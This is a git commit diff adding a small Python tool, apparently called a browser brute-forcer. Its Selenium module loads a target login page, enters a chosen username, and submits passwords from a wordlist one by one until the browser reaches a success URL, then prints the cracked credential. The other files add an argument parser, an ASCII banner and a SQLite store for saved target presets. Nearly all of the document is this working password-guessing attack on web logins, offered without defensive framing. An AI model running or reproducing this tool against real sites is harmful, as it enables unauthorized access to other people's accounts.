Add files via upload
parent
1557a14058
commit
5659ca8da2
|
@ -0,0 +1,8 @@
|
|||
import lib.brute
|
||||
import lib.parse
|
||||
import lib.banner
|
||||
|
||||
args=lib.parse.parser()
|
||||
lib.banner.banner()
|
||||
|
||||
lib.brute.brute(args)
|
|
@ -0,0 +1,27 @@
|
|||
def banner():
|
||||
print('''
|
||||
|
||||
|
||||
|
||||
***** ** ***** **
|
||||
****** *** ****** *** *
|
||||
** * * ** ** ** * * ** **
|
||||
* * * ** ** * * * ** **
|
||||
* * * *** **** **** ** *** **** **** *** **** * * * *** **** ** **** ********
|
||||
** ** * **** **** * * *** * ** *** *** * * **** * *** **** **** * ** ** * **** **** * ** *** * ******** ***
|
||||
** ** * ** **** * **** ** *** **** ** **** * *** ** **** ** ** * ** **** ** **** ** * ***
|
||||
** *** ** ** ** ** ** ** **** * *** ** ** *** ** ** ** ** * ***
|
||||
** ** *** ** ** ** ** ** ** *** ** *** ** ** ** *** ** ** ** ** ** ***
|
||||
** ** *** ** ** ** ** ** ** *** ******** ** ** ** *** ** ** ** ** ********
|
||||
* ** ** ** ** ** ** ** ** *** ******* ** * ** ** ** ** ** ** *******
|
||||
* ** ** ** ** ** ** * **** ** ** ** * ** ** ** ** ** **
|
||||
**** *** *** ****** ******* ******* * **** * **** * *** **** *** *** ******* ** ** **** *
|
||||
* ******** *** **** ***** ***** **** ******* *** * ******** *** ***** ** ** *******
|
||||
* **** ***** * **** *****
|
||||
* *
|
||||
** **
|
||||
|
||||
|
||||
|
||||
|
||||
''')
|
|
@ -0,0 +1,32 @@
|
|||
from selenium import webdriver
|
||||
from selenium.webdriver.common.by import By
|
||||
import lib.presets
|
||||
import time
|
||||
|
||||
def brute(args):
|
||||
if args.command == "preset":
|
||||
args=lib.presets.load_preset(args)
|
||||
|
||||
if args.browser == "firefox":
|
||||
driver = webdriver.Firefox()
|
||||
else:
|
||||
driver = webdriver.Chrome()
|
||||
if args.command == "brute":
|
||||
if args.makepreset:
|
||||
lib.presets.make_preset(args.presetname,args.browser,str(args.url),args.userfield,args.passwordfield,args.formnumber,args.targeturl)
|
||||
|
||||
with open(args.wordlist,"r") as wlist:
|
||||
|
||||
for line in wlist:
|
||||
driver.get(args.url)
|
||||
ufield=driver.find_element(By.CSS_SELECTOR, f'[name="{args.userfield}"]')
|
||||
ufield.send_keys(args.username)
|
||||
pfield=driver.find_element(By.CSS_SELECTOR, f'[name="{args.passwordfield}"]')
|
||||
pfield.send_keys(line.replace("\n",""))
|
||||
forms=driver.find_elements(By.TAG_NAME,"form")
|
||||
form=forms[int(args.formnumber)]
|
||||
form.submit()
|
||||
time.sleep(1)
|
||||
if driver.current_url.startswith(args.targeturl):
|
||||
print(f"{args.username} : {line}")
|
||||
break
|
|
@ -0,0 +1,24 @@
|
|||
import argparse
|
||||
def parser():
|
||||
parser = argparse.ArgumentParser(description="browser brute args")
|
||||
subparse=parser.add_subparsers(dest="command")
|
||||
|
||||
npparser=subparse.add_parser("brute")
|
||||
npparser.add_argument("-b","--browser",required=True, choices=["chrome","firefox"])
|
||||
npparser.add_argument("-u","--url",required=True)
|
||||
npparser.add_argument("-un","--username",required=True)
|
||||
npparser.add_argument("-uf","--userfield",required=True)
|
||||
npparser.add_argument("-pf","--passwordfield",required=True)
|
||||
npparser.add_argument("-fn","--formnumber",required=True)
|
||||
npparser.add_argument("-wl","--wordlist",required=True)
|
||||
npparser.add_argument("-tu","--targeturl")
|
||||
npparser.add_argument("-mp","--makepreset",action="store_true")
|
||||
npparser.add_argument("-pn","--presetname")
|
||||
|
||||
pparser=subparse.add_parser("preset")
|
||||
pparser.add_argument("-pn","--presetname",required=True)
|
||||
pparser.add_argument("-un","--username",required=True)
|
||||
pparser.add_argument("-wl","--wordlist",required=True)
|
||||
|
||||
args = parser.parse_args()
|
||||
return args
|
|
@ -0,0 +1,53 @@
|
|||
from sqlalchemy import create_engine, Column, String, Integer
|
||||
from sqlalchemy.orm import sessionmaker, declarative_base
|
||||
from os.path import exists
|
||||
from os import mkdir
|
||||
|
||||
Base=declarative_base()
|
||||
|
||||
if not exists("dbs"):
|
||||
mkdir("dbs")
|
||||
|
||||
class Preset(Base):
|
||||
__tablename__ = "Preset"
|
||||
name = Column("name", String, primary_key = True)
|
||||
browser = Column("browser", String)
|
||||
url = Column("url", String)
|
||||
userfield = Column("userfield", String)
|
||||
passwordfield = Column("passwordfield", String)
|
||||
formnumber = Column("formnumber", Integer)
|
||||
targeturl = Column("targeturl", String)
|
||||
|
||||
def __init__(self,name,browser,url,userfield,passwordfield,formnumber,targeturl):
|
||||
self.name=name
|
||||
self.browser=browser
|
||||
self.url=url
|
||||
self.userfield=userfield
|
||||
self.passwordfield=passwordfield
|
||||
self.formnumber=formnumber
|
||||
self.targeturl=targeturl
|
||||
|
||||
engine = create_engine("sqlite:///dbs/presets.db")
|
||||
Base.metadata.create_all(bind=engine)
|
||||
|
||||
Session = sessionmaker(bind=engine)
|
||||
session = Session()
|
||||
|
||||
def make_preset(name,browser,url,userfield,passwordfield,formnumber,targeturl):
|
||||
print(url)
|
||||
p=Preset(name,browser,url,userfield,passwordfield,int(formnumber),targeturl)
|
||||
try:
|
||||
session.add(p)
|
||||
session.commit()
|
||||
except Exception as e:
|
||||
print(e)
|
||||
|
||||
def load_preset(args):
|
||||
p=session.query(Preset).filter(Preset.name==args.presetname).first()
|
||||
args.browser = p.browser
|
||||
args.url = p.url
|
||||
args.userfield = p.userfield
|
||||
args.passwordfield = p.passwordfield
|
||||
args.formnumber = p.formnumber
|
||||
args.targeturl = p.targeturl
|
||||
return args
|
Loading…
Reference in New Issue